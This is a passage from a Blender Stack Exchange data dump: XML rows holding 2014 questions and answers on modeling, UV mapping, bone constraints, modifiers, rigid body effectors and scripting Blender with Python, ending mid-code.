  <row Id="9136" PostTypeId="1" CreationDate="2014-05-05T15:46:54.687" Score="2" ViewCount="451" Body="&lt;p&gt;How can I use the boolean modifier in GE?  When I hit play, both meshes are shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is any way to do that? Or can I automatically apply the modifier before start GE?&lt;/p&gt;&#xA;" OwnerUserId="3379" LastActivityDate="2014-07-30T03:08:10.190" Title="Boolean modifier in game engine" Tags="&lt;game-engine&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9137" PostTypeId="1" AcceptedAnswerId="9141" CreationDate="2014-05-05T16:52:27.110" Score="4" ViewCount="719" Body="&lt;p&gt;I am trying to model a car seat. I would like to be able to Grab the selected edge (marked with the red arrow) and translate it to an arbitrary location. However, I would like to constrain the median point of the edge to the plane that goes through the middle of the volume below it, on the Z axis, parallel to its (large) faces, i.e. not move the edge &quot;outside&quot; the volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I cannot use regular constraining, because the volume in question is rotated from both the Global and the object Local axes. Also, the normal space of the edge is not aligned to the normal space of the volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking I can do what I want either by (a) constraining the movement to the YZ plane, in the normal coordinates of one of the large faces of the volume below, or (b) by snapping the vertices of the edge being moved to the projection along the Z axis of the mesh geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this? Is there any other (blender-preferred) way to achieve this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/5W0KVOm.png&quot; alt=&quot;Image Sample&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3381" LastActivityDate="2014-05-06T19:34:47.837" Title="How can I snap to the projection of a mesh element?" Tags="&lt;modeling&gt;&lt;constraints&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9138" PostTypeId="1" AcceptedAnswerId="9139" CreationDate="2014-05-05T18:40:41.547" Score="3" ViewCount="8688" Body="&lt;p&gt;I'm migrating from 3DS Max to blender and its totaly confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm stuck because when I do 'Mesh-&gt;UV Unwrap-&gt;Unwrap' nothing shows in the UV/Image editor window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a render of some object and since then I don't see the mesh in uv coords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed  there were some kind of masks/layers and it's totaly non-intuitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot: so, how to see the UV mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DuUsH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3382" LastActivityDate="2018-11-23T22:51:53.277" Title="Stuck at UV Mapping: mesh doesn't show in UV Window" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9139" PostTypeId="2" ParentId="9138" CreationDate="2014-05-05T18:49:32.367" Score="2" Body="&lt;p&gt;see those mask icons on the bottom right corner of your UV/image window?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IEENR.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the one on the left and change it to view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iz3tG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-05-05T18:49:32.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9140" PostTypeId="1" AcceptedAnswerId="9142" CreationDate="2014-05-05T19:36:54.640" Score="11" ViewCount="31734" Body="&lt;p&gt;I currently have a mesh of a building (it has a texture). Initially it was a solid; however, I sliced off the top to remove noise in MeshLab. Now I have a mesh that's really only an outline. Any ideas how to fill it? I tried &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;, but that didn't go very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative hack would be to have a plane of the same shape, filled with a colour, and put inside (not sure how to do this either). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! Below is a screenshot of the mesh to show you what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wluea.png&amp;rarr;&amp;rarr;&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3385" LastEditorUserId="1253" LastEditDate="2014-05-05T23:27:06.333" LastActivityDate="2014-05-05T23:27:06.333" Title="Filling a 3D Mesh" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9141" PostTypeId="2" ParentId="9137" CreationDate="2014-05-05T19:37:53.607" Score="4" Body="&lt;p&gt;You can achieve this by aligning the &lt;em&gt;view&lt;/em&gt; to the desired plane with &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Numpad 7&lt;/kbd&gt; and then constraining the movement to view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To constrain movement to the YZ plane, you can press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; (where X is the axis to &lt;strong&gt;not&lt;/strong&gt; allow movement on) after pressing &lt;kbd&gt;G&lt;/kbd&gt;. See &lt;a href=&quot;https://blender.stackexchange.com/q/9043/599&quot;&gt;Scaling a cylinder along both X and Y axis&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the transform orientation  in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eHxXQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Local&lt;/em&gt; uses the orientation of the object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Normal&lt;/em&gt; uses the normals of the selection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;View&lt;/em&gt; Uses the orientation of the view.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that you must press the axis constraining keys twice in order to use the selected orientation, otherwise global is used. E.g. &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For using the &lt;em&gt;View&lt;/em&gt; orientation, some useful tools/techniques are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 7&lt;/kbd&gt; will align the view to the normal of the selection (&lt;kbd&gt;Numpad 1&lt;/kbd&gt; and &lt;kbd&gt;Numpad 3&lt;/kbd&gt; will align the view to the side of the normal). This can be useful to use the normal of one part of a model to translate another part.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a separate 3D view for orientation and transforming, and viewing the model in a perspective 3D view from a better angle.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-05-06T19:34:47.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9142" PostTypeId="2" ParentId="9140" CreationDate="2014-05-05T19:41:02.967" Score="13" Body="&lt;p&gt;Depending on the topology of the mesh, you could try:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Grid fill (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;&lt;em&gt;&amp;gt; Grid fill&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CMVh0.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; to fill, then &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; to try and remove unnecessary triangles.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zrWjr.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Simply filling with an N-gon (&lt;kbd&gt;F&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K9O9M.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-05T20:18:50.287" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9143" PostTypeId="1" CreationDate="2014-05-05T20:19:04.640" Score="7" ViewCount="2279" Body="&lt;p&gt;My question touches the mathematical side of Blender more than the modelling one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having a problem understanding how the 'local with parent' space in bone constraints works. I have looked through all the forums I have found, read all the manuals, and unfortunately I have not found a full answer.&#xA;Also, the tooltip in Blender does not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will try to explain the problem with some images that I hope will be helpful.&#xA;Do not be afraid of the length of the post: it mostly consists of pictures. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume we have a bone:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bOU59.png&quot; alt=&quot;A bone in its rest position (in edit mode)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, this bone is in edit mode, and we see its local coordinate system.&#xA;Below is the same bone in pose mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nF3TK.png&quot; alt=&quot;Bone in pose mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(By the way, you can see that the coordinate systems are different. They are both right-handed, but the pose mode is rotated so that it has Y axis as up, which is different from the rest of Blender's modes which use Z axis as up. If someone can explain why, I would be grateful :-) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let us apply the 'Limit location constraint' to the bone with default settings and 'Local with Parent' space.&#xA;The bone did not move. Now in pose mode set the Z coordinate of the bone to 1.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bone changed its position not toward its Z axis but toward its Y axis.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FEzgH.png&quot; alt=&quot;Bone with Z = 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is so far understandable as the bone moved toward its armature Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now we add another bone to it and unselect its 'Connected' option in edit mode so that the child bone is not attached to its parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode it will look like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j08ZA.png&quot; alt=&quot;Two bones in edit mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in pose mode we have something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CP9N5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now apply exactly the same constraint to the second bone: 'Limit location' with default settings and 'Local with parent' pose space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we see is something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pgSb1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here finally is the core of my question.&#xA;&lt;strong&gt;Why does it behave like this?&lt;/strong&gt;&#xA;Why did the second bone move?&#xA;Its translations are (0, 0, 0) in pose mode and the same in edit mode.&#xA;If I set its Z = 1 in pose mode it will move UP like the first bone, so that is quite logical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone could help me with understanding the problem I would be very grateful.&#xA;The pictures are taken from Blender 2.68a, but I also checked with 2.70a and ancient 2.49b, and it works exactly the same with all three.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have been at all unclear or have posted too little data, just let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marcin&lt;/p&gt;&#xA;" OwnerUserId="3383" LastEditorUserId="599" LastEditDate="2014-07-23T06:25:25.927" LastActivityDate="2014-09-23T09:42:46.060" Title="How does 'local with parent' space work?" Tags="&lt;bones&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9144" PostTypeId="1" AcceptedAnswerId="9145" CreationDate="2014-05-05T21:42:26.143" Score="3" ViewCount="1182" Body="&lt;p&gt;I have added a subsurf modifier, and because of that I can see some extra curves in edit mode. I want to hide these curves in edit mode because it is hard to distinguish them from the actual verticies. How can I hide the curves of the subsurf modifier in edit mode or maybe make the a different color?&lt;/p&gt;&#xA;" OwnerUserId="3377" LastEditorUserId="1253" LastEditDate="2014-05-05T22:39:44.697" LastActivityDate="2014-05-05T22:39:44.697" Title="Hide subsurf modifier curve in edit mode" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9145" PostTypeId="2" ParentId="9144" CreationDate="2014-05-05T21:50:23.340" Score="3" Body="&lt;p&gt;To disable the modifier only in edit mode press the cube icon:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oSH16.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can also:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the &lt;em&gt;Deformed display&lt;/em&gt; which deforms the edit mode mesh to the subserfed object, making it easier to see geometry. Note that this can make tools like loopcut and knife hard to use, you may have to disable it to use those accurately.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/StNLK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable the modifier in the viewport by clicking the eye icon (affects object mode too). This will not affect the render. To disable the modifier in the render, click the camera icon.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0IyzH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-05T21:50:23.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9146" PostTypeId="1" AcceptedAnswerId="9149" CreationDate="2014-05-05T22:26:01.253" Score="3" ViewCount="678" Body="&lt;p&gt;Is there a way in Blender to achieve some CAD commands like extend lines to the intersection (or nearest) point, or trim/extend to plane?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&#xA;&lt;a href=&quot;http://www.qcad.org/doc/qcad/2.2/reference/en/chapter28.html&quot; rel=&quot;nofollow&quot;&gt;http://www.qcad.org/doc/qcad/2.2/reference/en/chapter28.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3379" LastEditorUserId="1363" LastEditDate="2014-05-06T00:00:22.277" LastActivityDate="2020-09-21T08:48:43.460" Title="Blender CAD commands" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9147" PostTypeId="1" CreationDate="2014-05-05T23:07:43.107" Score="2" ViewCount="393" Body="&lt;p&gt;I used an image texture as a background image and created a mesh in front of it. Now I want to use the background image as a texture with the same size as the background image.&lt;br&gt;&#xA;The unwrapping does not work the way I want it to. I only unwrapped the front of my mesh which is based on the background image, but the mesh and the image apparently do not have the same scale and so it does not fit the texture.&#xA;Moving the unwrapped vertices around distorts the texture.&#xA;So how can I make the UV map perfectly fit and have the same proportions as the front of the mesh?&lt;/p&gt;&#xA;" OwnerUserId="3387" LastEditorUserId="2217" LastEditDate="2014-05-06T04:42:57.107" LastActivityDate="2014-06-05T04:59:15.090" Title="how to unwrap a mesh made in front of the texture" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9148" PostTypeId="2" ParentId="9147" CreationDate="2014-05-05T23:16:38.060" Score="1" Body="&lt;p&gt;Try unwrapping with &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt;Project from view&lt;/em&gt; while in the view with the background image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use &lt;kbd&gt;S&lt;/kbd&gt; (scale), &lt;kbd&gt;R&lt;/kbd&gt; (rotate), and &lt;kbd&gt;G&lt;/kbd&gt; (grab/translate) to manipulate the entire UV layout (you can toggle selecting it with &lt;kbd&gt;A&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to unwrap it &lt;em&gt;exactly&lt;/em&gt; how it appears in the viewport:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the render resolution to the resolution of the image/texture&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wit the camera selected, set it to be &lt;em&gt;Orthographic&lt;/em&gt; in &lt;em&gt;Properties &gt; Object data &gt; Lens&lt;/em&gt; (you can add another camera with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and make it active with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 0&lt;/kbd&gt; if you don't want to disturb the existing one)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Position the camera and tweak the &lt;em&gt;Orthographic scale&lt;/em&gt;, again in &lt;em&gt;Properties &gt; Object Data &gt; Lens&lt;/em&gt;. With the background image allowed to display in camera view, you can line it up based on how you want the image to project on your mesh.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your object and enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;), then press &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt;Project from view&lt;/em&gt; (still in camera view).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VZKT2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-05T23:26:22.130" LastActivityDate="2014-05-05T23:26:22.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9149" PostTypeId="2" ParentId="9146" CreationDate="2014-05-05T23:56:18.033" Score="4" Body="&lt;p&gt;Specifically for the commands you mention there exists a CAD add-on called &lt;a href=&quot;https://github.com/zeffii/mesh_tinyCAD&quot; rel=&quot;nofollow&quot;&gt;mesh tinyCAD&lt;/a&gt;, allows you to easily do the following things (this is not an exhaustive list):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;VTX (like &lt;code&gt;_extend&lt;/code&gt;):  &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;automatically extend edges towards their projected intersection&lt;/li&gt;&#xA;&lt;li&gt;generate a vertex at the intersection of two edges  (&quot;weld&quot;)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;V2X:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;generate an unattached vertex at the projected intersection of two edges&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;XALL:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;intersects all selected edges.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;BIX:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;generates the bisector of two selected edges&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;CCEN:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;given any three selected vertices (in one object), this can recreate a circular set of vertices of any number and scale.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For questions about the add-on or ideas use the project's &lt;a href=&quot;https://github.com/zeffii/mesh_tinyCAD/issues&quot; rel=&quot;nofollow&quot;&gt;issue tracker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;_fillet&lt;/code&gt; you can use &lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/subdividing/bevel.html&quot; rel=&quot;nofollow&quot;&gt;the bevel command&lt;/a&gt;: &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; With 1 vertex selected  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It starts out as a &lt;em&gt;bevel&lt;/em&gt; but you can increase the number of segments to turns it into a &lt;em&gt;fillet&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Adjust radius&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="47" LastEditDate="2016-04-20T08:19:31.447" LastActivityDate="2016-04-20T08:19:31.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9150" PostTypeId="1" AcceptedAnswerId="9151" CreationDate="2014-05-06T01:08:50.740" Score="11" ViewCount="43425" Body="&lt;p&gt;So I made this structure by subdividing a plane and elevating parts to make hallways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R7QT9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I realized that I wanted to make the walls have a certain thickness.  Is there a way to do this?  Extruding didn't really work for me.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="2173" LastEditDate="2014-05-06T02:09:16.383" LastActivityDate="2014-05-06T02:09:16.383" Title="How do I make a plane have thickness?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2014-05-06T08:08:31.010" ContentLicense="CC BY-SA 3.0" />
  <row Id="9151" PostTypeId="2" ParentId="9150" CreationDate="2014-05-06T01:23:23.820" Score="20" Body="&lt;h2&gt;Solidify Modifier&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can do this by adding a &lt;em&gt;Solidify&lt;/em&gt; modifier to your planes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pdYL0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-05-06T01:23:23.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9152" PostTypeId="1" CreationDate="2014-05-06T01:23:58.507" Score="14" ViewCount="9371" Body="&lt;p&gt;I'd like to position objects in the 3D view, but constrain them as to not intersect with another. I don't want to snap them together, rather have some fixed 3D object like a wall and be able to move cubes around and not allow them to penetrate other cubes or the wall when manipulating them. &lt;/p&gt;&#xA;" OwnerUserId="3388" LastEditorUserId="12" LastEditDate="2014-06-05T11:51:58.357" LastActivityDate="2015-01-27T11:06:54.787" Title="Keep objects from intersecting each other when positioning them?" Tags="&lt;3d-view&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9153" PostTypeId="1" AcceptedAnswerId="9179" CreationDate="2014-05-06T04:00:05.777" Score="2" ViewCount="1043" Body="&lt;p&gt;I have an arm and gun rig with the hands already rigged and weighted, but I have not added weight to my gun, magazine, and charge handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edited the bones to line up with the bones etc., but I want to be able to add weight to those objects without using &lt;em&gt;add automatic weights&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add weight to an object (separate) even once I've added weight to an object?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="2217" LastEditDate="2014-05-07T13:29:25.087" LastActivityDate="2014-05-07T13:29:25.087" Title="Is it possible to add weight to a new object once I have added weight?" Tags="&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9154" PostTypeId="1" AcceptedAnswerId="9157" CreationDate="2014-05-06T04:07:09.043" Score="5" ViewCount="736" Body="&lt;p&gt;I'm working on a scene with two balls that attract each other, they collide, bounce around, etc.  I'm trying to do this by turning off gravity, setting each ball as an active rigid body and attaching a force field to it to attract the other ball.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't working.  If I put a force field on one ball, the other ball moves towards it, but as a soon as I put force fields on both balls, they both stop moving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've dug into the code and found the source of the problem.  In &lt;code&gt;blender/blenkernel/intern/rigidbody.c&lt;/code&gt;, there's a function &lt;code&gt;rigidbody_update_sim_ob&lt;/code&gt; that includes the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /* update influence of effectors - but don't do it on an effector */&#xA;    /* only dynamic bodies need effector update */&#xA;    else if (rbo-&amp;gt;type == RBO_TYPE_ACTIVE &amp;amp;&amp;amp; ((ob-&amp;gt;pd == NULL) || (ob-&amp;gt;pd-&amp;gt;forcefield == PFIELD_NULL))) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but this is exactly what I want!  I want an effector to effect an effector!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, why is the code written like this?  Why can't an effector effect an effector?  Should this be an option?&lt;/p&gt;&#xA;" OwnerUserId="3357" LastActivityDate="2014-05-06T07:24:15.873" Title="Why don't effectors effect effectors?" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9155" PostTypeId="2" ParentId="7378" CreationDate="2014-05-06T05:12:36.223" Score="6" Body="&lt;p&gt;I've been using Blender's Python API to develop Blender models as Python scripts in text files.  I can write comments into my code, version control using git, and generally write &quot;Blender programs&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start with &lt;code&gt;baseline.blend&lt;/code&gt;, which is a completely empty Blender scene.  The default cube/camera/lamp have all been deleted, and I've set the windows up the way I want them.  Specifically, a top perspective 3D view on the left, a timeline below it (I do a lot of physics and animation) and a Python Console on the right (yes, I use it a lot too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I create a UNIX script with the following header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;&quot;exec&quot; &quot;blender&quot; &quot;baseline.blend&quot; &quot;--python&quot; &quot;$0&quot;&#xA;&#xA;import bpy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a &lt;a href=&quot;http://rosettacode.org/wiki/Multiline_shebang&quot; rel=&quot;noreferrer&quot;&gt;published method&lt;/a&gt; to start a script in Python, followed by the import command required to bring in the Blender library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can start doing things like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# THE CAMERA&#xA;&#xA;bpy.ops.object.camera_add()&#xA;camera = bpy.context.active_object&#xA;camera.location = (0,0,30)&#xA;camera.rotation_euler = (0,0,0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run the script, it starts a fresh instance of Blender, loads &lt;code&gt;baseline.blend&lt;/code&gt;, runs the entire script, then leaves me staring at my model on the left and Python ready to go on the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, about the only thing I've found that I can't do is modify the user interface, since the script seems to run before the GUI has been initialized.  That's why I have a simple &lt;code&gt;.blend&lt;/code&gt; file to start with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Tutorials/Physics/Rigid_Bodies&quot; rel=&quot;noreferrer&quot;&gt;Dominos tutorial&lt;/a&gt;?  I redid it in my workflow.  Here's how I created the dominos:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for y in range(5):&#xA;   